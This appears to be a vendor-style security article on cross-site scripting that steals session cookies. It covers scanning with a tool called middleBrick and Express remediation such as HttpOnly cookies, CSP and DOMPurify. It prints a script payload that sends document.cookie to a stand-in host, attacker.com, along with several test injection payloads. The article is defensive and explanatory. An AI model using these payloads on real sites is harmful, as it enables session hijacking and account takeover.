Xss Cross Site Scripting with Session Cookies
How XSS Cross Site Scripting Manifests in Session Cookies
Cross-Site Scripting (XSS) attacks targeting session cookies represent one of the most dangerous combinations in web security. When an attacker successfully injects malicious JavaScript into a web application, that script can access the victim's document.cookie property and exfiltrate session cookies to an attacker-controlled server.
The attack typically follows this pattern: an attacker finds a vulnerable input field that doesn't properly sanitize user input, injects a script tag containing malicious JavaScript, and when a legitimate user visits the compromised page, the script executes in their browser context. The script then reads the session cookie and sends it to the attacker's server using an image request or fetch API call.
Common injection points include comment sections, search boxes, form fields, and URL parameters that get reflected in the page content. The injected payload might look like:
<script>
const url = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
new Image().src = url;
</script>Once the attacker obtains the session cookie, they can perform session hijacking by setting the stolen cookie in their own browser, effectively impersonating the victim without needing their password. This is particularly dangerous for APIs that rely on session-based authentication where the session ID is stored in a cookie.
Session cookies are especially vulnerable when they lack the HttpOnly flag, which prevents JavaScript from accessing them. Without this protection, any XSS vulnerability becomes a direct path to credential theft. Additionally, cookies without the Secure flag can be intercepted over unencrypted connections, compounding the risk.
Session Cookies-Specific Detection
Detecting XSS vulnerabilities that can access session cookies requires both automated scanning and manual testing. Automated tools like middleBrick can identify these issues by injecting test payloads into various input parameters and monitoring for successful script execution. The scanner tests common XSS vectors including script tags, event handlers, and HTML entities.
middleBrick's approach includes scanning for:
- Reflected XSS where user input appears directly in the response
- Stored XSS where malicious content persists in the application
- DOM-based XSS where client-side JavaScript manipulates page content unsafely
- Cookie access patterns that indicate missing HttpOnly flags
The scanner specifically checks whether session cookies are marked as HttpOnly and Secure, and whether any reflected parameters could be used to inject executable JavaScript. It also tests for common evasion techniques like Unicode encoding and HTML entity encoding.
Manual detection involves testing each input field with various payloads:
<script>alert(1)</script>
"><script>alert(document.cookie)</script>
javascript:alert(document.cookie)
<img src=x onerror=alert(document.cookie)>Using browser developer tools, you can monitor network requests to see if any injected scripts execute. The Console tab will show JavaScript errors, and the Network tab can reveal if cookie data is being exfiltrated to external domains.
For comprehensive testing, middleBrick's CLI tool allows you to scan specific endpoints with custom payloads:
middlebrick scan https://api.example.com/login \
--payload "<script>fetch('https://test.com?'+document.cookie)</script>" \
--headers "Cookie: session=abc123"Session Cookies-Specific Remediation
Securing session cookies against XSS attacks requires a defense-in-depth approach. The most critical step is setting the HttpOnly flag on all session cookies, which prevents client-side JavaScript from accessing them. In Node.js with Express, this is configured when creating the session:
const session = require('express-session');
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true,
secure: true, // requires HTTPS
sameSite: 'strict',
maxAge: 3600000
},
saveUninitialized: false,
resave: false
}));The httpOnly: true setting ensures that document.cookie cannot read the session cookie, even if an XSS vulnerability exists elsewhere in the application.
Content Security Policy (CSP) headers provide another layer of defense by restricting where scripts can be loaded from and what they can do. A strict CSP policy might look like:
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self' 'nonce-random123';
object-src 'none'; frame-ancestors 'none'");
next();
});This policy prevents inline scripts and restricts script sources to the same origin, making it harder for injected scripts to execute.
Input validation and output encoding are essential for preventing XSS at the source. Always validate and sanitize user input, and use appropriate encoding when rendering dynamic content:
// Using DOMPurify for HTML sanitization
const DOMPurify = require('dompurify');
const clean = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
ALLOWED_ATTR: []
});For JSON responses that might be consumed by JavaScript, ensure proper content-type headers and avoid directly inserting user data into HTML without encoding.
Regular security scanning with middleBrick helps identify new vulnerabilities before attackers can exploit them. The GitHub Action integration allows you to automatically scan your API endpoints in CI/CD pipelines:
name: Security Scan
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run middleBrick Scan
run: |
npx middlebrick scan https://staging.example.com/api \
--threshold B \
--output json > security-report.json
- name: Fail on low score
run: |
SCORE=$(jq '.overall_score' security-report.json)
if [ $SCORE -lt 70 ]; then exit 1; fiThis setup ensures that any XSS vulnerabilities affecting session cookies will be caught before deployment to production.